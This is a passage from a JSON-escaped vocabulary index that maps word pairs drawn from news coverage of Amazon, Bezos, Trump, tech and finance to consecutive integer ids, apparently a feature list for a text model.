\"created living\": 192323,\n  \"multi year\": 192324,\n  \"ad campaign\": 192325,\n  \"clearly explained\": 192326,\n  \"110 words\": 192327,\n  \"a2\": 192328,\n  \"david luhnow\": 192329,\n  \"workers umwa\": 192330,\n  \"big branch\": 192331,\n  \"najaf india\": 192332,\n  \"ventures amazon\": 192333,\n  \"criminal behavior\": 192334,\n  \"000 prizes\": 192335,\n  \"don work\": 192336,\n  \"political read\": 192337,\n  \"eventually declared\": 192338,\n  \"absorb multiple\": 192339,\n  \"gone emery\": 192340,\n  \"question proposals\": 192341,\n  \"ire trump\": 192342,\n  \"org columnist\": 192343,\n  \"findlay mark\": 192344,\n  \"answer welp\": 192345,\n  \"economic illiteracy\": 192346,\n  \"force believes\": 192347,\n  \"hunts\": 192348,\n  \"glaciers\": 192349,\n  \"income investor\": 192350,\n  \"applicable rules\": 192351,\n  \"project tax\": 192352,\n  \"sphere\": 192353,\n  \"apple donald\": 192354,\n  \"newspaper reports\": 192355,\n  \"maza\": 192356,\n  \"programming puzzles\": 192357,\n  \"questioned trump\": 192358,\n  \"seriesname null\": 192359,\n  \"bezos ordered\": 192360,\n  \"disciplined\": 192361,\n  \"bundling\": 192362,\n  \"worth swelling\": 192363,\n  \"corbett earlier\": 192364,\n  \"total new\": 192365,\n  \"devon pendleton\": 192366,\n  \"sharply accelerating\": 192367,\n  \"maine claiming\": 192368,\n  \"conference ms\": 192369,\n  \"miles teller\": 192370,\n  \"test case\": 192371,\n  \"employees earn\": 192372,\n  \"undeserved\": 192373,\n  \"nyse jpm\": 192374,\n  \"massive commerce\": 192375,\n  \"congressman rips\": 192376,\n  \"alex alben\": 192377,\n  \"farr thought\": 192378,\n  \"democrats love\": 192379,\n  \"performing arts\": 192380,\n  \"cra plan\": 192381,\n  \"g5e\": 192382,\n  \"beating estimates\": 192383,\n  \"definitive\": 192384,\n  \"paying 139\": 192385,\n  \"global reach\": 192386,\n  \"tech indirectly\": 192387,\n  \"cross canada\": 192388,\n  \"lynette hardaway\": 192389,\n  \"holiday shopping\": 192390,\n  \"news organizations\": 192391,\n  \"coverup\": 192392,\n  \"stories coming\": 192393,\n  \"personal demons\": 192394,\n  \"free parking\": 192395,\n  \"hammack\": 192396,\n  \"order isn\": 192397,\n  \"inexplicable\": 192398,\n  \"facebook fireworks\": 192399,\n  \"executives available\": 192400,\n  \"individuals named\": 192401,\n  \"ravpower\": 192402,\n  \"worn\": 192403,\n  \"horizontal\": 192404,\n  \"conservatives 732\": 192405,\n  \"state environmentalists\": 192406,\n  \"worse president\": 192407,\n  \"drug store\": 192408,\n  \"slideshowsplitting\": 192409,\n  \"exchange immelt\": 192410,\n  \"tech vestager\": 192411,\n  \"race protestors\": 192412,\n  \"shipping customs\": 192413,\n  \"disclaim political\": 192414,\n  \"named gagster\": 192415,\n  \"dorsey directly\": 192416,\n  \"toronto housing\": 192417,\n  \"improvements\": 192418,\n  \"pulled ahead\": 192419,\n  \"fragile af\": 192420,\n  \"sell high\": 192421,\n  \"decidedly trump\": 192422,\n  \"reliable family\": 192423,\n  \"recent story\": 192424,\n  \"open attempts\": 192425,\n  \"headlinetext function\": 192426,\n  \"401 contributions\": 192427,\n  \"american states\": 192428,\n  \"real relationship\": 192429,\n  \"financial investment\": 192430,\n  \"buy ton\": 192431,\n  \"general categories\": 192432,\n  \"carve outs\": 192433,\n  \"alex wong\": 192434,\n  \"respective digital\": 192435,\n  \"consider hate\": 192436,\n  \"political establishment\": 192437,\n  \"healthcare writers\": 192438,\n  \"expert analysis\": 192439,\n  \"217 789\": 192440,\n  \"commentators separately\": 192441,\n  \"scrutinize large\": 192442,\n  \"company works\": 192443,\n  \"editor 197658\": 192444,\n  \"owns video\": 192445,\n  \"store designed\": 192446,\n  \"snowed\": 192447,\n  \"andthat deterring\": 192448,\n  \"travelled challenges\": 192449,\n  \"college resulted\": 192450,\n  \"enthusiasm\": 192451,\n  \"wealthy nassau\": 192452,\n  \"delivery contract\": 192453,\n  \"backup\": 192454,\n  \"news socialism\": 192455,\n  \"filed buzzfeed\": 192456,\n  \"sign confidentiality\": 192457,\n  \"hq2 deal\": 192458,\n  \"itty bitty\": 192459,\n  \"montellaro transitions\": 192460,\n  \"lows europe\": 192461,\n  \"interventionist\": 192462,\n  \"pen claims\": 192463,\n  \"ride rating\": 192464,\n  \"zappos surprised\": 192465,\n  \"tm threats\": 192466,\n  \"concerns antitrust\": 192467,\n  \"additions\": 192468,\n  \"photo robert\": 192469,\n  \"industry given\": 192470,\n  \"news zuckerberg\": 192471,\n  \"mother photo\": 192472,\n  \"reports estimate\": 192473,\n  \"president believes\": 192474,\n  \"negotiated discounts\": 192475,\n  \"daddy money\": 192476,\n  \"huge losses\": 192477,\n  \"high 273\": 192478,\n  \"toilet paper\": 192479,\n  \"york post\": 192480,\n  \"lee curtis\": 192481,\n  \"varney asked\": 192482,\n  \"cases result\": 192483,\n  \"company ubhi\": 192484,\n  \"renuka rayasam\": 192485,\n  \"hawaiians understandably\": 192486,\n  \"chilling\": 192487,\n  \"called direct\": 192488,\n  \"biodiversity conservation\": 192489,\n  \"government represents\": 192490,\n  \"intelligence programs\": 192491,\n  \"trolling amazon\": 192492,\n  \"columnists mitchell\": 192493,\n  \"new hero\": 192494,\n  \"blackburn amazon\": 192495,\n  \"association trade\": 192496,\n  \"crippling new\": 192497,\n  \"changing hands\": 192498,\n  \"son allowed\": 192499,\n  \"increased pay\": 192500,\n  \"cheerful\": 192501,\n  \"overload\": 192502,\n  \"intimate family\": 192503,\n  \"republicanism\": 192504,\n  \"office companies\": 192505,\n  \"getplayerbycontainer configobj\": 192506,\n  \"succeeds pascal\": 192507,\n  \"seema mody\": 192508,\n  \"pressure online\": 192509,\n  \"a4ee a8\": 192510,\n  \"warren sent\": 192511,\n  \"behemoths frank\": 192512,\n  \"punchlines border\": 192513,\n  \"late 2015\": 192514,\n  \"reformed paul\": 192515,\n  \"perceived\": 192516,\n  \"pleasures\": 192517,\n  \"mohler communications\": 192518,\n  \"help meet\": 192519,\n  \"hhost brian\": 192520,\n  \"talking cars\": 192521,\n  \"high begin\": 192522,\n  \"intensifying margin\": 192523,\n  \"mahoney mahoney\": 192524,\n  \"long period\": 192525,\n  \"different brand\": 192526,\n  \"texan cody\": 192527,\n  \"munduruku\": 192528,\n  \"regulatory oversight\": 192529,\n  \"battle bezos\": 192530,\n  \"communicate message\": 192531,\n  \"subsidy reason\": 192532,\n  \"taxpayers takes\": 192533,\n  \"unelected officials\": 192534,\n  \"stay bearish\": 192535,\n  \"amzn facebook\": 192536,\n  \"wrong aside\": 192537,\n  \"material hey\": 192538,\n  \"share passed\": 192539,\n  \"nuisance\": 192540,\n  \"biografia\": 192541,\n  \"product categories\": 192542,\n  \"track market\": 192543,\n  \"qualified entrepreneurs\": 192544,\n  \"amazon 1153\": 192545,\n  \"state capital\": 192546,\n  \"hollywood studios\": 192547,\n  \"terrific norah\": 192548,\n  \"sept donald\": 192549,\n  \"karaivanova\": 192550,\n  \"half blood\": 192551,\n  \"debbie weingarten\": 192552,\n  \"write r4ee\": 192553,\n  \"academically gifted\": 192554,\n  \"contracting service\": 192555,\n  \"y1\": 192556,\n  \"correlates\": 192557,\n  \"novel travelers\": 192558,\n  \"allergic reaction\": 192559,\n  \"containerel jquery\": 192560,\n  \"air freight\": 192561,\n  \"trump specifically\": 192562,\n  \"retail items\": 192563,\n  \"don celebrate\": 192564,\n  \"plus amazon\": 192565,\n  \"online services\": 192566,\n  \"tech negative\": 192567,\n  \"pols\": 192568,\n  \"pbs frontline\": 192569,\n  \"ugliest\": 192570,\n  \"alice walton\": 192571,\n  \"agreement ami\": 192572,\n  \"olivia colman\": 192573,\n  \"start services\": 192574,\n  \"\\u0430bob\": 192575,\n  \"package theft\": 192576,\n  \"precarious\": 192577,\n  \"mission earth\": 192578,\n  \"past editions\": 192579,\n  \"personal beliefs\": 192580,\n  \"massage therapist\": 192581,\n  \"pot shots\": 192582,\n  \"satellite launch\": 192583,\n  \"people added\": 192584,\n  \"otting\": 192585,\n  \"government growing\": 192586,\n  \"newfound tools\": 192587,\n  \"bookseller bezos\": 192588,\n  \"ontario\": 192589,\n  \"cohen requiring\": 192590,\n  \"hoffman\": 192591,\n  \"administration approved\": 192592,\n  \"medical hearing\": 192593,\n  \"uncertainty rules\": 192594,\n  \"incredibly\": 192595,\n  \"taking fearless\": 192596,\n  \"agencies ice\": 192597,\n  \"toxic business\": 192598,\n  \"general spooked\": 192599,\n  \"thousand dollar\": 192600,\n  \"appointing\": 192601,\n  \"oxford american\": 192602,\n  \"ashley parker\": 192603,\n  \"hollywood\": 192604,\n  \"freelancers\": 192605,\n  \"juices flowing\": 192606,\n  \"including montgomery\": 192607,\n  \"high need\": 192608,\n  \"jarige\": 192609,\n  \"fines\": 192610,\n  \"attempts\": 192611,\n  \"redacted report\": 192612,\n  \"warriors just\": 192613,\n  \"telling business\": 192614,\n  \"free movement\": 192615,\n  \"trump unfamiliar\": 192616,\n  \"coverage leaks\": 192617,\n  \"frazier gaines\": 192618,\n  \"vacation properties\": 192619,\n  \"rogowsky\": 192620,\n  \"says lower\": 192621,\n  \"coral springs\": 192622,\n  \"ourplans\": 192623,\n  \"major difference\": 192624,\n  \"star lilly\": 192625,\n  \"marine vet\": 192626,\n  \"free copy\": 192627,\n  \"allegations rupert\": 192628,\n  \"hawaiian monk\": 192629,\n  \"undertone\": 192630,\n  \"swoons shares\": 192631,\n  \"134 00m\": 192632,\n  \"including campaign\": 192633,\n  \"massive subsidy\": 192634,\n  \"offered murky\": 192635,\n  \"j8i e0\": 192636,\n  \"story judge\": 192637,\n  \"public recognition\": 192638,\n  \"impasse\": 192639,\n  \"geithner\": 192640,\n  \"way mueller\": 192641,\n  \"month revenue\": 192642,\n  \"products stocks\": 192643,\n  \"brazil president\": 192644,\n  \"unjustly\": 192645,\n  \"l7 var\": 192646,\n  \"used immediately\": 192647,\n  \"disability insurance\": 192648,\n  \"mika brzezinski\": 192649,\n  \"thing people\": 192650,\n  \"discussed removing\": 192651,\n  \"debate norah\": 192652,\n  \"retaliates 2018\": 192653,\n  \"global real\": 192654,\n  \"peels away\": 192655,\n  \"hq study\": 192656,\n  \"community dave\": 192657,\n  \"karma google\": 192658,\n  \"lord known\": 192659,\n  \"maintained bezos\": 192660,\n  \"widowed mothers\": 192661,\n  \"contract named\": 192662,\n  \"grill\": 192663,\n  \"believing\": 192664,\n  \"effectively proved\": 192665,\n  \"economic ministries\": 192666,\n  \"investigations revealed\": 192667,\n  \"company accounts\": 192668,\n  \"vendors alibaba\": 192669,\n  \"vf anecdote\": 192670,\n  \"silent\": 192671,\n  \"morning featuring\": 192672,\n  \"carol roth\": 192673,\n  \"l1 a4ee\": 192674,\n  \"exclusive amazon\": 192675,\n  \"knowledge trump\": 192676,\n  \"begin delivering\": 192677,\n  \"commerce articleshow\": 192678,\n  \"shipping annually\": 192679,\n  \"groceries chains\": 192680,\n  \"simon stated\": 192681,\n  \"poorer giving\": 192682,\n  \"culture\": 192683,\n  \"collusion jeff\": 192684,\n  \"french retailer\": 192685,\n  \"doing maybe\": 192686,\n  \"nostalgia warm\": 192687,\n  \"flood victim\": 192688,\n  \"mode doesn\": 192689,\n  \"tirelessly\": 192690,\n  \"competitor oracle\": 192691,\n  \"pass legislation\": 192692,\n  \"amazon north\": 192693,\n  \"facebook net\": 192694,\n  \"allen films\": 192695,\n  \"just wait\": 192696,\n  \"gossip story\": 192697,\n  \"fierce debate\": 192698,\n  \"defensive group\": 192699,\n  \"identifying\": 192700,\n  \"hydrating cleansing\": 192701,\n  \"big swing\": 192702,\n  \"billion federal\": 192703,\n  \"history hottest\": 192704,\n  \"destroy room\": 192705,\n  \"china plus\": 192706,\n  \"630 words\": 192707,\n  \"personal complete\": 192708,\n  \"comments strike\": 192709,\n  \"wasnt altered\": 192710,\n  \"peak seasons\": 192711,\n  \"detox\": 192712,\n  \"dmcc kmgt\": 192713,\n  \"old mcdonald\": 192714,\n  \"quashed\": 192715,\n  \"easier employee\": 192716,\n  \"actually makes\": 192717,\n  \"effects plus\": 192718,\n  \"seats phil\": 192719,\n  \"amazon huseman\": 192720,\n  \"expressly\": 192721,\n  \"tom taulli\": 192722,\n  \"post alex\": 192723,\n  \"video business\": 192724,\n  \"ultimate success\": 192725,\n  \"area definitely\": 192726,\n  \"livestreaming\": 192727,\n  \"detailed look\": 192728,\n  \"ubhi linkedin\": 192729,\n  \"mandated business\": 192730,\n  \"receives royalties\": 192731,\n  \"package prices\": 192732,\n  \"special treat\": 192733,\n  \"ahead looking\": 192734,\n  \"glance california\": 192735,\n  \"racist toy\": 192736,\n  \"liberal ideologies\": 192737,\n  \"week salles\": 192738,\n  \"president sphere\": 192739,\n  \"companies roles\": 192740,\n  \"newman considered\": 192741,\n  \"975 969\": 192742,\n  \"435 words\": 192743,\n  \"gvodujpo\": 192744,\n  \"ended apple\": 192745,\n  \"shopping sprees\": 192746,\n  \"recent picture\": 192747,\n  \"packed goods\": 192748,\n  \"pretty significantly\": 192749,\n  \"burning new\": 192750,\n  \"jointly\": 192751,\n  \"bach 2018\": 192752,\n  \"jerusalem months\": 192753,\n  \"pleasecontinue\": 192754,\n  \"killing veena\": 192755,\n  \"drugmaker teva\": 192756,\n  \"issue quickly\": 192757,\n  \"announces negotiating\": 192758,\n  \"obama stopthebias\": 192759,\n  \"coordinators\": 192760,\n  \"routers networking\": 192761,\n  \"landline telephones\": 192762,\n  \"proper action\": 192763,\n  \"amazon dominates\": 192764,\n  \"paul sweeney\": 192765,\n  \"finance understand\": 192766,\n  \"appellate\": 192767,\n  \"ultimate responsibility\": 192768,\n  \"drive positive\": 192769,\n  \"far don\": 192770,\n  \"disaster coming\": 192771,\n  \"dhi\": 192772,\n  \"travel according\": 192773,\n  \"discovery\": 192774,\n  \"new rece\": 192775,\n  \"label sellers\": 192776,\n  \"gold\": 192777,\n  \"opportunities\": 192778,\n  \"experience service\": 192779,\n  \"edge cap\": 192780,\n  \"human workers\": 192781,\n  \"sanders praising\": 192782,\n  \"askingfor\": 192783,\n  \"controversial figure\": 192784,\n  \"rails\": 192785,\n  \"imperatives\": 192786,\n  \"emailed en\": 192787,\n  \"nation happy\": 192788,\n  \"snooping\": 192789,\n  \"outlets internationally\": 192790,\n  \"disrupts school\": 192791,\n  \"2017 munich\": 192792,\n  \"bleakley advisory\": 192793,\n  \"ny sent\": 192794,\n  \"npr hide\": 192795,\n  \"meng wanzhou\": 192796,\n  \"chinese foreign\": 192797,\n  \"president reiterated\": 192798,\n  \"incentives gone\": 192799,\n  \"economy conference\": 192800,\n  \"main passions\": 192801,\n  \"outside fordham\": 192802,\n  \"lewd images\": 192803,\n  \"retain key\": 192804,\n  \"wildenstein divorced\": 192805,\n  \"presidenthas\": 192806,\n  \"gregpmiller\": 192807,\n  \"beholder\": 192808,\n  \"approved increase\": 192809,\n  \"copycat product\": 192810,\n  \"consumer habits\": 192811,\n  \"big problem\": 192812,\n  \"people netflix\": 192813,\n  \"massive tech\": 192814,\n  \"g6\": 192815,\n  \"theory workers\": 192816,\n  \"messages sanchez\": 192817,\n  \"buys approximately\": 192818,\n  \"rolfe commissioner\": 192819,\n  \"type style\": 192820,\n  \"people leave\": 192821,\n  \"orbital class\": 192822,\n  \"amazon platform\": 192823,\n  \"microneedles suggestions\": 192824,\n  \"quiet compared\": 192825,\n  \"meaning picture\": 192826,\n  \"refund getting\": 192827,\n  \"legal threats\": 192828,\n  \"earlier work\": 192829,\n  \"governments showering\": 192830,\n  \"x6cue\": 192831,\n  \"amazon quickly\": 192832,\n  \"continent\": 192833,\n  \"joint event\": 192834,\n  \"gardeners\": 192835,\n  \"signed agreements\": 192836,\n  \"result bias\": 192837,\n  \"1517et copyright\": 192838,\n  \"pleased writing\": 192839,\n  \"star president\": 192840,\n  \"unarmed\": 192841,\n  \"antitrust subcommittee\": 192842,\n  \"firm lowered\": 192843,\n  \"amazon frequently\": 192844,\n  \"shows donald\": 192845,\n  \"financial protection\": 192846,\n  \"completely subjective\": 192847,\n  \"payment\": 192848,\n  \"atwater\": 192849,\n  \"gavin\": 192850,\n  \"ready\": 192851,\n  \"rubenstein\": 192852,\n  \"kids schools\": 192853,\n  \"leaving ceos\": 192854,\n  \"company vehicles\": 192855,\n  \"little better\": 192856,\n  \"reston\": 192857,\n  \"life exposed\": 192858,\n  \"level thinking\": 192859,\n  \"creates monopoly\": 192860,\n  \"respective national\": 192861,\n  \"expensive health\": 192862,\n  \"submitting bids\": 192863,\n  \"claimed\": 192864,\n  \"issue sensibly\": 192865,\n  \"enforce stricter\": 192866,\n  \"jeremy corbyn\": 192867,\n  \"locust\": 192868,\n  \"aftershock regarding\": 192869,\n  \"northeastern port\": 192870,\n  \"fraud\": 192871,\n  \"maximizedbanner false\": 192872,\n  \"decisions government\": 192873,\n  \"cease ordering\": 192874,\n  \"ap bezos\": 192875,\n  \"firm globaldata\": 192876,\n  \"financing model\": 192877,\n  \"fundamental principle\": 192878,\n  \"big growth\": 192879,\n  \"parts united\": 192880,\n  \"representative opposition\": 192881,\n  \"create reports\": 192882,\n  \"steering defect\": 192883,\n  \"trump cover\": 192884,\n  \"conference amazon\": 192885,\n  \"review original\": 192886,\n  \"powerful mafia\": 192887,\n  \"voice commands\": 192888,\n  \"abuse problem\": 192889,\n  \"groceries pharmaceuticals\": 192890,\n  \"hazards\": 192891,\n  \"senator calls\": 192892,\n  \"acclaimed novel\": 192893,\n  \"know crystal\": 192894,\n  \"areas ibama\": 192895,\n  \"import 2018\": 192896,\n  \"albany reading\": 192897,\n  \"qanon slogans\": 192898,\n  \"gates bezos\": 192899,\n  \"shannon stapleton\": 192900,\n  \"ingrained\": 192901,\n  \"hurt competitors\": 192902,\n  \"outgoing republican\": 192903,\n  \"carbondale\": 192904,\n  \"chungah rhee\": 192905,\n  \"institutional shareholder\": 192906,\n  \"small bottle\": 192907,\n  \"justified cable\": 192908,\n  \"fought legal\": 192909,\n  \"taxes falls\": 192910,\n  \"skewering embattled\": 192911,\n  \"network giant\": 192912,\n  \"stricter rules\": 192913,\n  \"shopping thanksgiving\": 192914,\n  \"multiple layers\": 192915,\n  \"zurawik\": 192916,\n  \"teach houston\": 192917,\n  \"300 store\": 192918,\n  \"agoura\": 192919,\n  \"historical note\": 192920,\n  \"solicitation alleging\": 192921,\n  \"taxes people\": 192922,\n  \"natascha mcelhone\": 192923,\n  \"traders snapped\": 192924,\n  \"identified hate\": 192925,\n  \"scandal sheet\": 192926,\n  \"america hillary\": 192927,\n  \"sportsbook podcast\": 192928,\n  \"business market\": 192929,\n  \"little respect\": 192930,\n  \"patton\": 192931,\n  \"similarly intervene\": 192932,\n  \"amzn stock\": 192933,\n  \"shoes colbert\": 192934,\n  \"trading juggernaut\": 192935,\n  \"men chris\": 192936,\n  \"cattle boom\": 192937,\n  \"began delivering\": 192938,\n  \"friendly company\": 192939,\n  \"mapping cbre\": 192940,\n  \"recent syrian\": 192941,\n  \"tax paying\": 192942,\n  \"browns\": 192943,\n  \"employers added\": 192944,\n  \"zing ne\": 192945,\n  \"250 shares\": 192946,\n  \"movie culture\": 192947,\n  \"expansion increases\": 192948,\n  \"break transcript\": 192949,\n  \"dangerously big\": 192950,\n  \"incident senators\": 192951,\n  \"month wrote\": 192952,\n  \"lgbtq migrants\": 192953,\n  \"vmware cloud\": 192954,\n  \"markets global\": 192955,\n  \"restore seemingly\": 192956,\n  \"chain barnes\": 192957,\n  \"thing don\": 192958,\n  \"nato summit\": 192959,\n  \"way rebekah\": 192960,\n  \"turkey currency\": 192961,\n  \"tech squads\": 192962,\n  \"republicans new\": 192963,\n  \"321\": 192964,\n  \"based pricing\": 192965,\n  \"punish media\": 192966,\n  \"apologies\": 192967,\n  \"told interviewer\": 192968,\n  \"applications covered\": 192969,\n  \"woman jeff\": 192970,\n  \"outmatched\": 192971,\n  \"unsuccessful attempt\": 192972,\n  \"email saying\": 192973,\n  \"near wholesale\": 192974,\n  \"court decisions\": 192975,\n  \"city decision\": 192976,\n  \"cpg\": 192977,\n  \"pure play\": 192978,\n  \"calls story\": 192979,\n  \"crime victims\": 192980,\n  \"bigbusiness share\": 192981,\n  \"bradford\": 192982,\n  \"ease fears\": 192983,\n  \"2018 nike\": 192984,\n  \"commerce committee\": 192985,\n  \"alexenko\": 192986,\n  \"throwing stick\": 192987,\n  \"rated super\": 192988,\n  \"worsening trade\": 192989,\n  \"databases activist\": 192990,\n  \"selfie\": 192991,\n  \"copyright truthout\": 192992,\n  \"nv accesswire\": 192993,\n  \"threaten innovation\": 192994,\n  \"better combat\": 192995,\n  \"ordered thermometer\": 192996,\n  \"reveal bezos\": 192997,\n  \"record meetings\": 192998,\n  \"lasting psychological\": 192999,\n  \"requested\": 193000,\n  \"press number\": 193001,\n  \"korea war\": 193002,\n  \"frosty relationship\": 193003,\n  \"distinctly\": 193004,\n  \"tweets continue\": 193005,\n  \"enquirer threats\": 193006,\n  \"precise false\": 193007,\n  \"electronic communications\": 193008,\n  \"gloated\": 193009,\n  \"spot checks\": 193010,\n  \"media incorporated\": 193011,\n  \"similar way\": 193012,\n  \"2020 digital\": 193013,\n  \"coordinated manner\": 193014,\n  \"unfair pricing\": 193015,\n  \"support new\": 193016,\n  \"dds sounds\": 193017,\n  \"long suffered\": 193018,\n  \"whistles according\": 193019,\n  \"vaxcalc\": 193020,\n  \"hack conspiracy\": 193021,\n  \"demand later\": 193022,\n  \"2rwt0wj8vd elizabeth\": 193023,\n  \"cac quarante\": 193024,\n  \"recent uptick\": 193025,\n  \"qanon posts\": 193026,\n  \"veiled reference\": 193027,\n  \"whitehall\": 193028,\n  \"5th\": 193029,\n  \"warren staunch\": 193030,\n  \"ground near\": 193031,\n  \"nguyen\": 193032,\n  \"lola zinke\": 193033,\n  \"lot save\": 193034,\n  \"brandom\": 193035,\n  \"going fast\": 193036,\n  \"frequent targets\": 193037,\n  \"breakfast bezos\": 193038,\n  \"touching 646\": 193039,\n  \"director larry\": 193040,\n  \"legal immigration\": 193041,\n  \"area spikes\": 193042,\n  \"store chaos\": 193043,\n  \"billionaire\": 193044,\n  \"provoked constant\": 193045,\n  \"strong growth\": 193046,\n  \"amid ongoing\": 193047,\n  \"4450 9c59\": 193048,\n  \"breathed easier\": 193049,\n  \"scotus\": 193050,\n  \"today challenges\": 193051,\n  \"membrane\": 193052,\n  \"vehicles uniforms\": 193053,\n  \"castle rock\": 193054,\n  \"year contending\": 193055,\n  \"consenting\": 193056,\n  \"versus estimates\": 193057,\n  \"buried\": 193058,\n  \"rep erik\": 193059,\n  \"added overarching\": 193060,\n  \"losing cities\": 193061,\n  \"texts gavin\": 193062,\n  \"luck difficulty\": 193063,\n  \"gtld programme\": 193064,\n  \"won guarantees\": 193065,\n  \"considers revoking\": 193066,\n  \"trump private\": 193067,\n  \"dispirited\": 193068,\n  \"ones amazon\": 193069,\n  \"hunting el\": 193070,\n  \"2015 2018\": 193071,\n  \"stands treasury\": 193072,\n  \"media celebutard\": 193073,\n  \"tiger press\": 193074,\n  \"results set\": 193075,\n  \"edison\": 193076,\n  \"written critical\": 193077,\n  \"single reporter\": 193078,\n  \"minhaj netflix\": 193079,\n  \"accretive acquisition\": 193080,\n  \"misspelling\": 193081,\n  \"incremental cost\": 193082,\n  \"prices franchise\": 193083,\n  \"edge rep\": 193084,\n  \"service led\": 193085,\n  \"chaotic political\": 193086,\n  \"google executive\": 193087,\n  \"tales\": 193088,\n  \"revenue rise\": 193089,\n  \"turn act\": 193090,\n  \"groundwater\": 193091,\n  \"entertainment france\": 193092,\n  \"company mountain\": 193093,\n  \"royalties\": 193094,\n  \"companies related\": 193095,\n  \"emails seen\": 193096,\n  \"matthew gehl\": 193097,\n  \"opt instead\": 193098,\n  \"lindsey nyt\": 193099,\n  \"fear mongering\": 193100,\n  \"perniciousness\": 193101,\n  \"material\": 193102,\n  \"eliminated amazon\": 193103,\n  \"amazonbasics critics\": 193104,\n  \"unusually blunt\": 193105,\n  \"whitesell sanchez\": 193106,\n  \"amazon cash\": 193107,\n  \"google collection\": 193108,\n  \"title cooper\": 193109,\n  \"3121\": 193110,\n  \"census amazon\": 193111,\n  \"guantanamo bay\": 193112,\n  \"emotional distress\": 193113,\n  \"strong feelings\": 193114,\n  \"handing democrats\": 193115,\n  \"characteristic lock\": 193116,\n  \"says great\": 193117,\n  \"begin murder\": 193118,\n  \"jan hours\": 193119,\n  \"olive oil\": 193120,\n  \"2010 following\": 193121,\n  \"alcoholic wash\": 193122,\n  \"winged\": 193123,\n  \"level protections\": 193124,\n  \"tour visit\": 193125,\n  \"robinhood tempts\": 193126,\n  \"harvey recently\": 193127,\n  \"23rd herera\": 193128,\n  \"native led\": 193129,\n  \"attorney shannon\": 193130,\n  \"signit pocket\": 193131,\n  \"2004 hit\": 193132,\n  \"korean court\": 193133,\n  \"514 shares\": 193134,\n  \"ellie case\": 193135,\n  \"mayans mc\": 193136,\n  \"hle\": 193137,\n  \"disruptive force\": 193138,\n  \"gmt preventing\": 193139,\n  \"using artificial\": 193140,\n  \"build new\": 193141,\n  \"long argued\": 193142,\n  \"veterans elected\": 193143,\n  \"students deserve\": 193144,\n  \"reverse management\": 193145,\n  \"money cnl_featuretype\": 193146,\n  \"litigators marty\": 193147,\n  \"400 page\": 193148,\n  \"annual geeks\": 193149,\n  \"risk blowing\": 193150,\n  \"investigation finds\": 193151,\n  \"weaponized\": 193152,\n  \"typical person\": 193153,\n  \"informed consent\": 193154,\n  \"nation right\": 193155,\n  \"union stance\": 193156,\n  \"new office\": 193157,\n  \"european shares\": 193158,\n  \"claims read\": 193159,\n  \"foreign financing\": 193160,\n  \"nonsense reducing\": 193161,\n  \"hardee\": 193162,\n  \"a1 headline\": 193163,\n  \"whatis described\": 193164,\n  \"ex walmart\": 193165,\n  \"schiller\": 193166,\n  \"growing unhappiness\": 193167,\n  \"liked spats\": 193168,\n  \"speak deepti\": 193169,\n  \"meng asking\": 193170,\n  \"longstanding postal\": 193171,\n  \"brynn anderson\": 193172,\n  \"says court\": 193173,\n  \"scarff\": 193174,\n  \"key levers\": 193175,\n  \"stocks stock\": 193176,\n  \"potential hacking\": 193177,\n  \"market sellers\": 193178,\n  \"source familiar\": 193179,\n  \"richard meyerhoff\": 193180,\n  \"wing site\": 193181,\n  \"offering value\": 193182,\n  \"wide range\": 193183,\n  \"caught chicago\": 193184,\n  \"nipnlg\": 193185,\n  \"examples amazon\": 193186,\n  \"opposing vertical\": 193187,\n  \"round trump\": 193188,\n  \"larry robbins\": 193189,\n  \"reportedly seeking\": 193190,\n  \"ulteras human\": 193191,\n  \"companies attempting\": 193192,\n  \"embarrassed embarrassed\": 193193,\n  \"activity trump\": 193194,\n  \"team claims\": 193195,\n  \"officials killed\": 193196,\n  \"reconsidering building\": 193197,\n  \"make strategic\": 193198,\n  \"518 454\": 193199,\n  \"little understanding\": 193200,\n  \"arrested charged\": 193201,\n  \"read additionally\": 193202,\n  \"estate deal\": 193203,\n  \"statement nooyi\": 193204,\n  \"offer branded\": 193205,\n  \"carlson endorsement\": 193206,\n  \"falling circulation\": 193207,\n  \"wealth equality\": 193208,\n  \"jr retweeted\": 193209,\n  \"balzer\": 193210,\n  \"airbnb\": 193211,\n  \"dialectics rent\": 193212,\n  \"caved\": 193213,\n  \"sharing users\": 193214,\n  \"jpg 970x450\": 193215,\n  \"gdp numbers\": 193216,\n  \"skip bathroom\": 193217,\n  \"clinton leading\": 193218,\n  \"sorkin warren\": 193219,\n  \"stunt double\": 193220,\n  \"immigration snafu\": 193221,\n  \"meadows north\": 193222,\n  \"long benefited\": 193223,\n  \"series cookbook\": 193224,\n  \"innovative ways\": 193225,\n  \"amazon boss\": 193226,\n  \"shedding\": 193227,\n  \"cup pitch\": 193228,\n  \"documentarian\": 193229,\n  \"allowed signed\": 193230,\n  \"sent ckpics\": 193231,\n  \"live steve\": 193232,\n  \"hear kavanaugh\": 193233,\n  \"uk claims\": 193234,\n  \"victory believe\": 193235,\n  \"group chat\": 193236,\n  \"cook county\": 193237,\n  \"ranch owned\": 193238,\n  \"demanding fair\": 193239,\n  \"risked\": 193240,\n  \"intuition\": 193241,\n  \"trump genitals\": 193242,\n  \"bray ny\": 193243,\n  \"decisions saying\": 193244,\n  \"geekwire amazon\": 193245,\n  \"particular person\": 193246,\n  \"people biggest\": 193247,\n  \"trump reportedly\": 193248,\n  \"absolutely correct\": 193249,\n  \"language abramson\": 193250,\n  \"possible break\": 193251,\n  \"starting prodigy\": 193252,\n  \"husband henry\": 193253,\n  \"rating checked\": 193254,\n  \"kate rogers\": 193255,\n  \"arguments r4ee\": 193256,\n  \"6th grade\": 193257,\n  \"john mackey\": 193258,\n  \"typically sorts\": 193259,\n  \"105 reduced\": 193260,\n  \"ronan farrow\": 193261,\n  \"prime candidate\": 193262,\n  \"logistic\": 193263,\n  \"rapidly rising\": 193264,\n  \"play national\": 193265,\n  \"seema\": 193266,\n  \"newsrooms\": 193267,\n  \"public internet\": 193268,\n  \"huawei technologies\": 193269,\n  \"boy raising\": 193270,\n  \"administration imposed\": 193271,\n  \"phone buy\": 193272,\n  \"sanchez offered\": 193273,\n  \"peso collapse\": 193274,\n  \"eater\": 193275,\n  \"tale rent\": 193276,\n  \"fba sellers\": 193277,\n  \"potential enabler\": 193278,\n  \"inspired book\": 193279,\n  \"robocalls\": 193280,\n  \"bones\": 193281,\n  \"cummins\": 193282,\n  \"citing lack\": 193283,\n  \"outspends\": 193284,\n  \"controlled state\": 193285,\n  \"company creates\": 193286,\n  \"juleanna\": 193287,\n  \"bribes\": 193288,\n  \"retail king\": 193289,\n  \"retreated early\": 193290,\n  \"double irish\": 193291,\n  \"souls legitimate\": 193292,\n  \"face 